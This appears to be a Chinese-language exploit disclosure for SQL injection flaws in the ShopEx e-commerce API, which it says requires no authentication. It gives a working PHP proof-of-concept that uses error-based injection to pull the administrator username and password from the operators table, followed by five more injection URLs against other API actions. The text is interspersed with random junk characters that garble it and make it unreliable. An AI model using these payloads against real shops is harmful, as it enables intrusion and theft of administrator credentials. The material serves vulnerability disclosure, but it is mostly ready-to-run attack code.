|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php$ o" N7 ?( Y9 z# }
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php) a/ W3 D9 v( `
# o" h, O# O2 }3 f. u
第44行 $data['columns'] 未做过滤导致注入& F0 a0 ` g: Q5 O
3 p4 `% M# _# I4 N
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
9 X: P8 W5 x* S+ D* v6 c' I+ f8 K' `% U& m( \# y# l% k9 C+ l x
注射1:
2 n0 I" P' O% q
/ `9 s! Y# L& `" qhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
+ n1 ?5 B% [/ L( Y+ V# S$ C' f( C% o! h# W* G5 x
注射2:7 t3 D9 q3 z. J+ _( |* F, l
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
6 x- X( f. N* M r7 Z9 K& t( i
5 B' i+ b+ L, W; ]& M V5 x注射3:8 Y2 S$ |. l* j( a( z2 {2 V
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
/ k3 r X- |; Z6 T, [注射4:
0 F6 A- X8 e9 T( R; v0 U' J8 Y% W- e+ B( ]( v
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
: P; e# S" J* H. j8 U, P
$ b7 T% }! }7 `- Z2 w' m; ?# \ H8 a& D. Z% s i% b1 w0 q
注射5:
3 o$ a/ ?: Z- m" K' D" p7 R, | http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx& ^3 Q3 A* X' `. u6 c: v7 z
8 l" w6 w! c. P2 }7 r2 s1 C
6 j6 Z7 E% `" l' D# `7 l% w( p1 _% u6 D9 W& E
+ {& {. } D% {2 K# L5 v3 ^9 M; T0 S( f6 v% S/ U0 U
1 J3 G/ v2 \. S* ?, Q9 ?6 X
|
|